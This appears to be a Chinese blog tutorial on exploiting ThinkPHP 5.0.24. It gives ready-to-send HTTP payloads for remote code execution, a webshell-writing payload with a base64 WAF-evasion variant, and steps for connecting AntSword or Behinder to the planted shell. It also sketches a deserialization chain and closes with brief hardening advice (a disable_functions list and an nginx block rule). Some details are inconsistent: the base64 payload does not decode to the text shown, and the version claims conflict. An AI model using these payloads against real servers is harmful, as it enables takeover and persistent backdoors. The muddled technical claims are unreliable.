ThinkPHP 5.0.24 漏洞利用全解析:常见EXP与安全防护指南(2025最新)

作为国内广泛使用的PHP开发框架,ThinkPHP 在其发展过程中曾暴露出多个高危安全漏洞。其中,ThinkPHP 5.0.24 版本因存在远程代码执行(RCE)、反序列化、变量覆盖等多重漏洞,成为近年来安全研究和渗透测试的重点目标。本文将深入剖析 ThinkPHP 5.0.24 的常见漏洞类型、利用方式(EXP),并提供实用的安全加固建议,帮助开发者与安全人员全面掌握该版本的安全风险。

ThinkPHP 5.0.24 漏洞利用全解析:常见EXP与安全防护指南(2025最新)


ThinkPHP 5.0.24 漏洞概览

ThinkPHP 5.0.24 属于 5.0.x 系列的最后一个版本,虽然修复了部分已知问题,但仍存在多个未完全修补的安全隐患,主要集中在以下几个方面:

  • 远程代码执行(RCE)漏洞

  • 反序列化漏洞

  • 变量覆盖导致命令执行

  • 任意文件包含与写入

这些漏洞在特定条件下可被攻击者组合利用,实现任意命令执行、写入Webshell、最终获取服务器控制权。


ThinkPHP 5.0.24 常见漏洞利用EXP(Payload)

以下是针对 ThinkPHP 5.0.24 的典型漏洞利用方式,仅供安全研究与合法渗透测试使用,请勿用于非法攻击

1. 远程代码执行(RCE)EXP(无需开启 debug)

这是最经典的利用方式之一,通过构造特殊参数触发 _method=__construct,实现任意函数调用。

利用方式:POST 请求

POST /index.php?s=index/index HTTP/1.1
Host: your-target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&method=GET&filter[]=system&get[]=whoami

说明:

  • _method=__construct:触发控制器构造函数

  • method=GET:设置请求方法

  • filter[]=system:指定过滤器为 system() 函数

  • get[]=whoami:传入要执行的系统命令

适用版本:ThinkPHP 5.0 - 5.0.13、5.0.23 等,部分需开启 app_debug

2. 写入Webshell(文件写入EXP)

在成功执行命令后,可进一步写入PHP木马,便于长期控制。

EXP 示例:

POST /index.php?s=index/index HTTP/1.1
Host: your-target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&method=POST&filter[]=assert&s=file_put_contents('shell.php','<?php @eval($_POST[x]);?>')

或使用 base64 编码绕过WAF:

_method=__construct&method=POST&filter[]=base64_decode&s=ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzxiP1BIVE1MIGV2YWwoJF9QT1NUWyd4J10pOz8+Jyk=

解码后内容为:

file_put_contents('shell.php','<?PHP eval($_POST['x']);?>')

🛠 连接工具:写入成功后,可使用 蚁剑(AntSword)冰蝎(Behinder) 连接 http://target.com/shell.php,密码为 x

3. 反序列化漏洞利用链(Unserialize RCE)

ThinkPHP 5.0.24 存在反序列化漏洞,攻击者可通过 unserialize() 触发危险类方法,最终实现RCE。

利用场景: 当应用存在反序列化入口,如:

unserialize($_POST['data']);

POP链关键点:

  • 起点:Windows 类的 __destruct()

  • 中间:Model 类的 toArray() → getAttr() → 触发 __call

  • 终点:Output 类的 __call() 调用危险函数

EXP 构造思路:

  1. 构造 Model 实例并设置 append 属性

  2. 利用 toArray() 触发 __call,调用 Output 类方法

  3. 最终执行 system() 或 assert() 实现RCE

🔍 工具推荐:可使用 PHPGGC 或自定义脚本生成反序列化payload。

4. 变量覆盖导致RCE(Variable Override)

通过覆盖 Request 类的 filtermethod 等属性,控制 param() 方法中的回调函数。

EXP 示例:

POST /index.php?s=/index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

s=id&_method=__construct&method=&filter[]=system

此利用方式通过变量覆盖,使 call_user_func_array($filter, $args) 执行任意命令。


漏洞成因分析

ThinkPHP 5.0.24 的漏洞根源在于:

  1. 不安全的魔术方法调用__construct 被外部参数控制,导致任意方法调用。

  2. 过滤器未严格校验filter 参数可传入系统函数如 systemexecassert

  3. 反序列化入口暴露:开发者不当使用 unserialize(),未对输入做校验。

  4. 配置不当app_debug = true 在生产环境开启,泄露路径与调试信息。


安全防护与加固建议

✅ 1. 升级框架版本

最根本的解决方案是升级到 ThinkPHP 5.1.31+ 或 6.x 最新稳定版,官方已修复大部分RCE漏洞。

✅ 2. 禁用危险函数

php.ini 中禁用高危函数:

disable_functions = system,exec,passthru,shell_exec,assert,eval,popen,proc_open

✅ 3. 关闭调试模式

确保生产环境 app_debug = false

// application/config.php
'app_debug' => false,

✅ 4. 过滤特殊参数

在Nginx/Apache中拦截 _methodfilter 等敏感参数:

if ($args ~* "_method=|filter\[") {
    return 403;
}

✅ 5. 代码审计与WAF防护

  • 定期进行代码审计,避免反序列化操作

  • 部署Web应用防火墙(WAF),如 ModSecurity、云WAF


ThinkPHP 5.0.24 作为一个历史版本,其安全漏洞已被广泛研究和利用。对于仍在使用该版本的项目,强烈建议立即升级并进行全面安全评估。作为开发者,应时刻关注框架安全公告,遵循最小权限原则,避免因小失大。

⚠️ 免责声明:本文提供的EXP仅用于合法安全测试与学习交流,禁止用于任何非法用途。因不当使用造成的后果,作者不承担任何法律责任。

发表评论

评论列表

还没有评论,快来说点什么吧~